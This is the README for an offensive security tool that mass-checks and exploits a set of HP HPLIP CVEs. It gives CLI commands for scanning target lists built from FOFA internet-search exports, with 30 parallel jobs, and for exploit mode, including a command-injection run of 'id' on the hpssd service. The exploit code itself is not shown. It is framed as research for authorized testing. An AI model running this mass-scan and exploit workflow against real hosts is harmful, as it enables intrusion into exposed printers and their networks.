massexploit — HP HPLIP mass CVE checker (2026-09)
Mass check and research exploit driver for HP HPLIP < 3.26.6 — CVE-2026-91097 through CVE-2026-91106.
| CVE | CVSS 4 | CWE | Remote |
|---|
| CVE-2026-91097 | 7.0 | CWE-787 | yes (UI) |
| CVE-2026-91098 | 8.6 | CWE-122 | yes (UI) |
| CVE-2026-91099 | 5.1 | CWE-61 | local |
| CVE-2026-91100 | 6.8 | CWE-78 | local |
| CVE-2026-91102 | 8.4 | CWE-78 | local |
| CVE-2026-91101 | 5.1 | CWE-129 | physical |
| CVE-2026-91103 | 5.1 | CWE-191 | physical |
| CVE-2026-91104 | 9.3 | CWE-122 | yes |
| CVE-2026-91105 | 8.6 | CWE-122 | yes (UI) |
| CVE-2026-91106 | 9.3 | CWE-122 | yes |
Fixed: HPLIP 3.26.6+
Summary
FOFA body="hplip" hits are often :8000 PAPPL, not :2207. Use host:port in target lists.
Screenshot (--flow mass check)

Requirements
- Python 3.9+
pip install -r requirements.txt
Usage
pip install -r requirements.txt
# Single target (default ports 631, 2207, 9100 if no port given)
python poc.py -u 192.0.2.10 --mode check
# FOFA port (recommended)
python poc.py -u 192.0.2.10:8000 --mode check --flow
# Mass — all 10 CVEs
python poc.py --list targets.example.txt --mode check -j 30 -q --flow
# Critical network heap CVEs only
python poc.py --list list_hplip_printer.txt --mode check --cve CVE-2026-91104,CVE-2026-91106
# Exploit research (PAPPL on :8000 → IPP raster; -c id only meaningful on hpssd:2207)
python poc.py -u 192.0.2.10:8000 --mode exploit --cve CVE-2026-91106
python poc.py -u 192.0.2.10:2207 --mode exploit --cve CVE-2026-91100 -c id
FOFA → target list
# Save export as fofa_csv_1049.csv (or pass -i)
python fofa_to_list.py
# list.txt (all) + list_hplip_printer.txt (title hint = HPLIP Printer Application)
python poc.py --list list_hplip_printer.txt --mode check -j 30 --flow
192.0.2.10:8000
192.0.2.11:2207
192.0.2.12|CVE-2026-91106
Lines with |CVE… use the part before | as the host (optional CVE hint for hits output).
CLI
Output
| File | Content |
|---|
massexploit_results.jsonl | Full JSON per host |
hits.txt | Candidates (host|cve,…) |
Common check status values
| Status | Meaning |
|---|
hplip_surface_candidate | Open port + version/CVE mapping |
network_surface_version_unknown |
Exploit expectations
| Status | Meaning |
|---|
pappl_raster_sent_no_shell_output | IPP/raster sent on PAPPL port; no id in HTTP (heap RCE class) |
|
Repository layout
.
├── poc.py
├── cve_catalog.py
├── hplip_probes.py
├── hplip_exploit.py
├── pappl_ipp.py
├── pappl_raster.py
├── fofa_to_list.py
├── image.png
├── targets.example.txt
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
Limitations
- Not a generic web scanner — printing / HPLIP TCP+HTTP surfaces.
- No public weaponized RCE for 91104/91106 on PAPPL; raster path is research aligned with ZDI-26-656.
- Physical/local CVEs listed for
--cve all but not remotely exploitable at scale.
- Authorized testing only.
References
Legal
For authorized security testing only. You are responsible for compliance with applicable laws and program rules.